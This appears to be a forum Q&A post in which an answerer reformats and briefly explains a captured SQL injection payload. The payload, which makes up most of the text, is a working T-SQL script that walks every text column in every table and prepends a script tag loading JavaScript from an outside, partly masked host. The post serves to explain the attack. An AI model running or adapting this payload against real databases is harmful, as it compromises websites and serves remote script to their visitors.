Can someone explain this SQL injection attack to me?

by

Just formatting it for readability will clarify a lot:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type="BASE TABLE"

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE [' + @T + ']
               SET [' + @C + '] =
                     ''"></title>'' +
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                     ''<!--'' +
                     RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

It goes through every text column of every table and inserts some HTML into it — HTML that contains a pointer to externally-generated JavaScript.

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